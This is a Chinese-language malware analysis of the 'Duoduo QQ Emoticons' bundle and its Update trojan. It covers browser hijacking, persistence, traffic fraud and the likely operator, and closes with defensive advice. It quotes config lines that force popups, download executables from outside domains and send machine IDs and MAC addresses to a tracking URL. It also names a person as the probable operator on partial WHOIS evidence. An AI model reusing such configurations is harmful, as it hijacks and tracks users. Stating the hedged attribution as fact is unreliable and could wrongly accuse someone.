前言：從工具到武器的異化

QQ 表情包本是用戶喜愛的趣味工具，卻被不法分子植入惡性代碼。本文深度還原「多多 QQ 表情」病毒（攜帶 Update 木馬）的技術行為、商業動機與幕後操盤者，揭露流氓軟體向惡意病毒演變的黑色產業鏈。

一、市場佔有率與公開捆綁模式

• 百度搜尋：「QQ 表情」約 166 萬結果，「多多 QQ 表情」約 66 萬結果，佔有率近 40%。
• 官方宣稱：免費提供超炫表情，一鍵導入 QQ；向軟體作者/站長支付 0.05 元/次捆綁費；聲稱可從「新增/移除程式」卸載。
• 實際反饋：大量用戶求助電話、安全論壇投訴，實際行為遠超流氓軟體範疇。

二、技術深度分析：Update 木馬的雙重行為模式

諾頓、瑞星已將 Update.exe 定性為病毒。體積僅 47 KB，表面可攜帶卸載，實則暗藏惡意模組。

1. 顯性行為：瀏覽器劫持與流量劫持

[SetHomePage] Url=www.9991.com/
[PopupIE] Url=www.chanet.com.cn/click.cgi?a=6606&d=3086&u=
[PopupIE] Url=www.b2b2.net/51gg/index.html
[PopupIE] Url=www.7mp3.com
[PopupIE] Url=www.600001.com/
[PopupIE] Url=www.600005.com/

強制修改首頁、彈出廣告頁面，直接將流量導向指定站點。

2. 隱性行為：持久化、升級、數據竊取

[Actions] 訪問 Url=file.qqhelper.com/up/update.dat
[Update] 升級 Url=www.yulexingkong.com/mop/uninstalldrv.exe
[Update] Url=www.ha0l23.com/softbaby/uninstalltmp.exe
[Update] Url=tongji.qqhelper.com/tj/tj?setupid=$(setupid)&mac=$(computerid)&type=$(sendflag)&version=$(version)&exeversion=$(exeversion)&setupdate=$(setupdate)

檔案系統落地：

• C:\Program Files\Common Files\UPDATE\：update.dat、update.exe
• C:\Program Files\Common Files\SAND\：updatesr.ini、svr.dat、qqfacerclient.exe、twunk_8.exe（潛伏模組，具備後門特徵）

三、商業動機：病毒驅動的「流量火箭」

1. 9991.com 的異常崛起

• 成立於 2005 年 10 月中旬，3 個月內 Alexa 全球排名衝入前 100 名。
• Reach 值 1 萬，估算流量達新浪 1/7。
• 同樣手法推高多個關聯站點排名。

2. 流量變現模式

• 病毒大規模感染 → 強制彈出/導流 → 人為製造高流量 → 提升 Alexa 排名 → 吸引廣告商/買量方 → 獲利。
• 典型的「流量作弊」黑色產業鏈閉環。

四、幕後操盤者追蹤

• 域名 9991.com 與 woyaoshang.com 內容、聯繫方式完全一致，同一主體。
• Donews 博客爆料：流氓軟體改良包裝，但歷史受害用戶痛苦未解。
• Whois 郵箱 [email protected] 反查，指向龐升東（網絡紅人，曾因流氓軟體「3721」聞名）。
• 表面證據高度指向龐升東，但深層股權結構與利益分配仍有待司法調查釐清。

五、防範與治理建議

1. 用戶端：拒絕從非官方渠道下載表情包；安裝主動防禦類防毒軟體（如卡巴斯基、NOD32）攔截未知惡意行為；定期檢查啟動項、服務、BHO、計劃任務。
2. 平台方：騰訊應建立表情包簽名驗證機制，拒絕未簽名/惡意簽名插件載入。
3. 監管層：依《計算機信息網路國際聯網管理暫行規定》、《網絡安全法》追究傳播惡意代碼、竊取流量、侵害用戶權益的法律責任。
4. 安全廠商：加強對「偽裝合法工具」類惡意代碼的行為特徵建模，提升零日查殺率。

結語

「多多 QQ 表情」案例揭示：流氓軟體與病毒邊界已模糊，商業利益驅動下的技術手段日益隱蔽、惡劣。唯有技術防護、平台治理、法律制裁三管齊下，才能遏制此類「披著工具外衣的病毒」持續危害用戶權益與網路生態。